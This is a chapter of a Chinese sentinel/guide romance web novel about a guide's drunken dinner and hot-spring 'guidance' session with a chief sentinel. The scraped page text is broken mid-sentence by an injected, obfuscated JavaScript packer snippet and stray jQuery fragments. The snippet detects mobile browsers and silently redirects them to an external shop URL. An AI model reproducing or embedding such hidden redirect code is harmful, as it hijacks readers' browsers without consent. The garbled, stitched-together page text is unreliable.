文趣网 > 其他小说 > 咸鱼向导拒绝被首席拿捏 > 41. 插叙2 泡温泉
    傍晚。

    601刚从训练场回来,累得像条咸鱼干,瘫在床上抱着雪狼的尾巴发呆。训练服还没换,头发丝里还沾着全息舱的汗水味。

    雪狼趴在床边,尾巴被他揉得乱糟糟的,琥珀色的眼睛半眯着,一脸认命。他揉着揉着,脑子里就自动播起了走马灯——

    申谕安早上临走前把他按在玄关亲的那一口,亲完还拿拇指蹭了蹭他嘴角,说了句“晚上等我”。

    这一等就是一整天,等得他训练的时候都在走神。一想到那张冷脸,心跳就不受控制地加速。

    正抱着尾巴翻来覆去,门忽然被敲响了。601趿拉着拖鞋过去,拉开门一看——

    申谕安站在门口,黑色大衣上沾着雪,银白的发丝垂在额前,睫毛上还挂着几粒没化的雪沫。

    601:“首席,你怎么才来?”

    申谕安没有回答,他往前迈了一步,就这样顺势,单膝跪了下来。

    冷风从门外灌进来,吹得他的大衣下摆上下翻动。他仰头看着601,深邃的黑眸里,高高在上的首席威严已然消散,只剩下毫不掩饰的恳求。

    601的心脏一跳,但脸上没什么表情,他探头看了看走廊两边——空荡荡的,没人——又低头看了看跪在地上的人。

    ——又发什么神经。

    “你干什么?”他伸手去拽申谕安的胳膊,“又抽风,被人看到怎么办?”

    申谕安没有动,膝盖还稳稳地钉在地上,目光一瞬不瞬地落在601的脸上。

    “今晚,”他轻声说,“一起吃饭。”

    601的手僵在半空中。

    “和我?”他指了指自己。

    申谕安默认地点点头。

    “你是首席。”601的声音沉了下去,“动不动就跪,像什么样子?”

    “在你面前,”申谕安说,“我只是一个哨兵。”

    601看着那双黑眸里近乎固执的坦诚,心脏砰砰直跳。他别过脸,悄声说:“我还没答应当你的向导呢。”

    申谕安的表情暗了一下,垂下眼,慢慢站起来,转过身朝走廊另一头走去。601看着他的背影,忽然伸出手,勾住了他的手指。

    申谕安的脚步停住了。

    “不要。”601低着头,耳朵不自觉红了,手指却勾得更紧了,“我想当你的向导。”

    申谕安浑身一震,精神海在那一瞬间剧烈翻涌。曾经的心如止水,此刻泛起涟漪。

    601感觉到了那股波动,那是一种近乎失控的渴望,从申谕安的精神海深处涌出来,沿着两人相触的指尖一路烧进他胸口。

    “再说了,”他松开手指,双手插进睡衣口袋,弯着腰抬眼看他,“你都有儿子了,申言之那么大一个崽,叫我哥。你还让我当向导?你这不是占我便宜吗?”

    申谕安难免有些无措:“你……”

    “我什么?”601歪着头,笑眯眯的,“首席,你精神海不稳哦。要不要我给你做个疏导?不过我很贵的,你请得起吗?”

    申谕安往前迈了一步,又一步,把601逼到了门框边。

    601的后背抵着门,仰着头看他。

    申谕安:“你开价。”

    601淡然地看着他,伸手戳了戳他的胸口:“今天先吃饭,首席请客。毕竟我只是个小向导,没钱请首席吃饭。”

    申谕安:“想吃什么?”

    601:“鱼。”

    申谕安几乎是在他说完的瞬间就拿出了光脑,手指在屏幕上飞快地点了几下:“订好了。蓝星温泉酒店,包场。”

    601:“……包场?!”

    申谕安:“请你吃鱼。”

    601瞪大眼睛,叹了口气:“行吧,反正不用我花钱。”

    申谕安伸出手,握住了他的手腕,把他往身边拽:“走吧,车在等了。”

    车子驶出神塔,穿过灯火通明的城区。雪还在下,雪粒打在车窗上,被暖风吹化,顺着玻璃淌成一道道细流。

    601低头看了看自己身上的衣服,灰色的家居服,脚上还踩着一双印着卡通小羊的毛绒拖鞋,跟申谕安一身整洁的黑大衣比起来差远了。

    他在心里算了算这身行头的总价:上衣是后勤部发的,裤子是安新鞠穿不下送给他的,拖鞋是在星网打折区买的,加起来不超过五十星际币。

    而申谕安那件大衣,光是袖扣就够他吃一个月食堂。

    “我鞋都没换,也没穿袜子。”他看着自己光溜溜的脚丫子,嘟囔了一句,把下巴缩进领口里。

    申谕安从后视镜里看了他一眼:“后面纸袋子里有袜子。”

    601往后座一摸,果然有个纸袋。里面除了一双厚棉袜,还叠着一套深灰色羊绒衫和一条长裤,还有——

    他拎出第二件,挑了挑眉。

    是一件丝绸睡衣,领口开到肚脐。

    “等等,”他拎着那件暴露的睡衣,手指捏着薄薄的布料,灯光都能透过来,“为什么准备两套?还、还是这种——”

    申谕安:“备用。”

    “备用?”601没听出来话外音,只把那件睡衣折好放回纸袋,又把那双袜子翻出来赶紧给自己的脚套上,袜子厚实,脚趾头终于不再冷了。

    车子驶进盘山路,一座低矮的建筑静静伫立在雪地中。建筑外墙是深色的原木,屋顶覆着厚厚的积雪,暖黄的灯光从落地窗里透出来。

    车子停在了酒店门口,服务员撑着伞迎上来,拉开车门。冷风裹着雪粒涌进来,激得601缩了缩脖子。

    申谕安先下了车,转过身,朝车内的601伸出手。雪花落进掌心,瞬间被体温融化,只留下一片湿痕。

    他的黑眸穿过飘落的雪花看着601灰绿色的双眼,安静地等着。

    “我扶你。”他说。

    601深吸一口气,握住申谕安的手,从车里钻出来。

    落地窗正对着雪山,窗外是一方冒着热气的露天温泉池子。餐厅里只有一张桌子,铺着洁白的桌布,中央放着一束白玫瑰。

    601在桌前坐下来,身上还穿着毛衣和卡通小羊拖鞋。一个端着香槟的服务员从他们身边经过,目光扫过他的拖鞋,嘴角抽了抽。

    601淡定地端起水杯喝了一口,仿佛穿着拖鞋来高档餐厅是再正常不过的事。

    菜一道道上来:刺身、寿司、烤鱼、热汤,还有一小壶温好的清酒。

    申谕安给他夹了一块寿司,放在他面前的碟子里:“吃吧。”

    601的目光落在清酒壶上,伸手去够。申谕安的手比他更快,迅速按住了壶盖。

    申谕安:“你不能喝。”

    601:“就一小杯。”

    申谕安:“你一杯倒。”

    601瞪他:“上次是意外,今天不会。”

    申谕安:“今天也会。”

    601:“你——”

    “你喝了酒会困。”申谕安看着他,“困了就要睡。睡了就——”他顿了一下,移开目光。

    601盯着他,申谕安的耳朵红了一个色号,他忽然明白,“没办法好好吃饭”不是指吃饭,而是……

    601:“申谕安,你脑子里在想什么?”

    “吃饭。”申谕安面不改色,把一盘鱼推到他面前,“吃鱼。”

    601拿起筷子夹了一块塞进嘴里。银鳕鱼的肉质细嫩,酱汁咸甜适中,确实很好吃。但他还是想喝酒。

    “就一口。”他又去够酒壶。

    申谕安这次直接拿走了酒壶,放到自己那一侧。

    “喝茶。”申谕安给他倒了一杯热茶,推到面前,“茶也是热的。”

    他的表情虽然还是平静,但耳朵红得要命。

    601忽然笑了:“你是不是怕我喝醉了,你就没办法了?”

    申谕安没有回答,端起自己的酒杯抿了一口。酒液沾在他薄薄的嘴唇上,在灯光下泛着湿润的光泽。

    601的目光在他嘴唇上不自觉多停了几秒,端起茶杯喝了一大口。很好喝,但就是觉得少了点什么。

    他夹了一块寿司塞进嘴里,嚼着嚼着,忽然伸手——飞快出击——够到了酒壶,仰头灌了一口。

    清酒微甜,酒液顺着喉咙滑下去,在胃里渐渐烧起了一小团火。他放下酒壶,冲申谕安得意地挑了挑眉。

    ——看吧,我没醉。

    不出半分钟,601的脸开始泛红,整个人靠在桌上,托着腮,冲申谕安傻笑:“申谕安,你比一百年前还帅。”

    申谕安垂下眼又抬起,看着601泛红的脸颊和迷离的眼睛:“你醉了,在说胡话。”

    “没有。”601摇摇头,整个人晃了一下。申谕安伸手揽住他的腰,把他拉进怀里。

    601的额头抵着他的胸口,听到那颗心脏砰砰跳动着,跳得比平时快得多。

    “一口也能醉?我是不是废了……”他靠在他身上,含糊地说。

    申谕安把茶杯端起来,喂到601嘴边:“喝茶,解酒。”

    601乖顺地张嘴,喝了两口。茶顺着嘴角溢了一点,申谕安用拇指擦掉。

    601的眼睛半睁半闭,似乎马上就要睡着了,“你是不是怕我喝醉了,就不能……那个了?”

    申谕安的手顿了一下:“哪个?”

    “就是那个。”601眯着眼睛笑,“你包场,不就是想——”

    申谕安没有说话。

    601又笑了,笑得整个人都红了。他伸手去戳申谕安的脸,指尖碰到那片冷白的皮肤——热热的,软软的。

    601:“你脸好烫。”

    “别闹,吃饭。”申谕安握住了他作乱的手指,拢在掌心里。

    “不吃了,困。”601打了个哈欠,把脸埋进他的胸口。酒意从胃里漫上来,整个人暖洋洋的,困得不行。

    601:“……我不一个人在宿舍过了。”

    申谕安:“来我家。”

    申谕安就那样抱着601,坐在空荡荡的餐厅里。窗外雪还在下,温泉池面腾起白色的水汽,在夜色里缓缓升散。

    601在他怀里轻轻“嗯”了一声,呼吸慢慢变得平稳。申谕安低下头,在601的脸颊落下一个吻。

    “凌一,欢迎你回家。”

    ——·★·——

    过了一会儿,601在他怀里动了动,不安分。

    申谕安低头看他:“怎么了?”

    601的脸皱成一团,嘴里含含糊糊:“……厕所。”

    声音黏糊得很,说完又把脸往申谕安胸口埋了埋,伸手就要解裤腰带。申谕安抓住他的手,把他从怀里托起来:“起来,我带你去。”

    卫生间在走廊尽头。

    申谕安扶着他走,601整个人挂在他身上,呼吸喷在他的颈侧,烫得很。

    向导素不自觉溢散出来,清甜的白茶香混着酒气,一缕缕往申谕安的鼻腔里钻。

    申谕安不住地吞咽口水,走了几步,601忽然挣了一下。

    601:“放开……我自己走……”

    申谕安:“你能站住?”

    “能。”601说得斩钉截铁。

    申谕安把他松开,601的膝盖弯了一下,整个人晃了晃,扶着墙慢吞吞地往前挪。

    申谕安跟在他身后。

    忽然,他脚尖踢上台阶边缘,整个人往前栽去。申谕安伸手要去捞,但601已经咚的一声跪倒在了地上。

    安静了大约半分钟。

    601低着头,灰绿色的眼睛茫然地盯着地板,还没意识到发生了什么。

    申谕安伸出手,把他从地上捞了起来,让他整个人挂在自己身上。

    “没事吧。”申谕安轻声说,“摔疼了没有?”

    601想把他推开,被他抓住了手。

    “没事,你很干净。”申谕安把他抱得更紧了。

    601把脸埋进他的颈窝里“嗯”了一声,整个人都在发烫,酒意烧的,羞耻烧的,说不出哪种更多。

    申谕安抱着他走回房间。

    601仰面躺着,裤子贴在腿上,冷冰冰的,不舒服,他伸手去扯裤腰,扯了两下没扯动。

    申谕安拨开他的手,帮他换衣服。膝盖上磕红了一片,在白皙的皮肤上有些显眼。

    申谕安的手停了一下,拇指按上那片红痕:“疼吗?”

    601摇了摇头,摇了两下又点头。他根本不知道自己在答什么,只知道那只手按在他

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17690179|207889||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    膝盖上,很舒服。

    申谕安把他换下来的衣裤卷成一团放到一边。601躺在床上,酒意让他整个人都泛着一层薄薄的粉。

    暖气开得很足,但他还是打了个寒颤。皮肤贴上外衣布料,601“嘶”了一声。申谕安抱着他走出房间,沿着走廊走到温泉池边。

    ——·★·——

    热水漫到胸口,后脑勺枕着一个温热的肩窝。601睁开眼,发现自己正靠在申谕安身上。

    申谕安:“你醒了?”

    601眨了眨眼,漫天星星,雪还在下,落在水面上瞬间就融化了,身上只裹着一条浴衣,腰间系带松松垮垮。

    601:“我衣服呢?”

    水下的手环着他的腰,掌心温度透过薄薄的料子渗进来,“帮你换了。”

    记忆涌了上来。

    601迷迷糊糊记得申谕安抱着他走,他嫌申谕安走得慢,坚持要下来自己走,结果路上被绊倒,摔在地上,然后他就——

    他低下头,看着水面自己的倒影,又抬起头,看着漫天雪花,沉默了一会儿,叹了口气。

    ——算了,反正也不是第一次丢人了。

    他把脸埋进申谕安的颈窝:“你不许说出去。”

    “不说。”申谕安的声音温柔得不可思议,手指穿过601的发丝,轻轻揉着他的后脑。

    601从他颈窝里探出头,伸手戳了戳申谕安的小腹,“做疏导,答应你的。”

    申谕安的手覆上他的额头,精神力从掌心缓缓涌出来。601闭上眼,精神丝探进了申谕安的精神海。

    还是那片冰原,比以前平静了许多,冰层不再开裂,狂风也停了,只有雪花慢悠悠地飘着。

    他的精神丝往深处探去,触到了核心处那道很深的裂缝。那些积攒了一整天的疲惫、紧绷、隐忍,被他的精神力一点点剥离。

    申谕安的身体轻轻颤了一下。精神丝继续往里探,却被什么东西挡了一下。还不够——他的精神力像一根被水泡软的棉线,走了不到一半就散了。

    601睁开眼,低头扯了扯浴衣的系带,带子松开了,白色的浴衣从肩头滑落,露出锁骨和胸口那道旧疤。

    热水漫过皮肤,在两人之间荡开细碎的涟漪。灰绿色的眼睛蒙着温泉热气,亮晶晶的。

    申谕安收紧了手臂。601重新闭上眼,精神丝再次探了进去。这一次,所有的屏障都在触碰到的一瞬间柔和下来。

    601咬住嘴唇,声音还是从齿缝间漏了出来。申谕安的精神力从深处涌出来,顺着601探进来的精神丝反哺进他的精神海。

    哨兵把自己的力量传输给为自己刻下印记的向导。那股力量在601精神海里温柔地翻涌,一浪一浪地化开那些淤积的躁动。

    他的精神海被酒精搅得完全没有设防,此刻却被这股熟悉的气息毫无缝隙地包裹住。

    “继续。”申谕安的声音贴着他的耳朵,“别停。”

    601整个人都在抖。精神丝在申谕安的精神海里被裹挟着,钻入了冰原深处。那里有一道很深的裂缝,是百年穿梭留下的旧伤。

    精神丝触碰到的瞬间,精神力在这一刻彻底决堤,所有积压的情绪全部从裂缝里涌出来。601的瞳孔骤然放大,灰绿色的眼睛里一瞬间亮起了碎星的光芒。

    身体剧烈颤抖,手指从池沿滑落,被申谕安的手覆住,十指交扣。眼泪终于掉了下来,精神海满到装不下,从眼睛里溢出来。

    申谕安的精神力像温水一样漫进来,把这些年所有流失的温度都还了回来。

    601脱力地趴在池沿上,热水漫过两个人的胸口。

    许久,他收回精神丝,靠进申谕安怀里,闭着眼,水汽凝在他的睫毛上。过了很久,声音传出来:“你刚才……是不是等了很久?”

    “……嗯。”申谕安收紧了环在腰上的手臂。

    601抬起头,灰绿色的眼睛里还带着没散尽的水光。申谕安低下头,接住了这个吻。

    ——·★·——

    酒店后厨。

    主厨艾利把那条银鳕鱼放在流水下冲洗,手指探进鱼腹,把筋膜和血污清理干净。

    盐粒洒在鱼皮上,揉进纹理里,柠檬汁淋上去,淡淡的酸香散开。

    一刻钟后,起锅烧油,鱼滑进锅里,滋啦一声,鱼皮在油里卷起,煎至金黄。翻面,再煎,然后加入酱油、料酒、糖、姜丝、葱段,酱色的液体没过鱼身的一半,盖上锅盖焖煮。

    二十分钟后揭开锅盖,蒸汽涌上来,鱼肉晶莹剔透,软烂入味。主厨撒了一把葱花,让服务员端了上去。

    小五端着托盘上楼,敲了敲门,没有人应,又敲了两下,门从里面打开。

    小五低着头,余光看见一只手撑在门框上。

    申谕安:“放桌上吧。”

    小五侧身进去,把鱼放下。转身瞬间,余光扫到落地窗的方向——温泉还在冒着热气,池边木台上搭着一条浴衣,半干半湿,皱巴巴地团着。

    另一条浴衣穿在一个人身上,银白色头发湿漉漉贴在额前,浴衣领口敞着,那人锁骨上有几道浅浅的红痕。

    那个人靠在池边,怀里抱着另一个人,被抱在怀里的人只露出一截泛红的小腿。

    银白的发丝垂落,挡住了怀中之人的脸,只看得见一只手搭在池沿上,指尖泛着点粉。

    小五飞快收回目光,退了出去。门在身后关上的瞬间,他隐约听见里面传来一声轻笑。

    他端着空托盘回到后厨,脸还有点热。

    主厨艾利正在擦灶台,头都没抬:“鱼送过去了?”

    小五:“送到了。”

    艾利:“客人说什么了?”

    小五:“没说什么。”

    主厨艾利把抹布叠好,抬头看了一眼天花板,大概是在吃鱼吧。

    ——·★·——

    “好吃吗?”601咬着筷子问。

    “好吃。”申谕安立刻应声。

    601:“下次还来?”

    申谕安点点头。

    601伸手又要去够桌上的酒壶。

    申谕安抓住他的手腕,摇了摇头:“不行。”

    “……小气。”601戳了戳他的肚脐。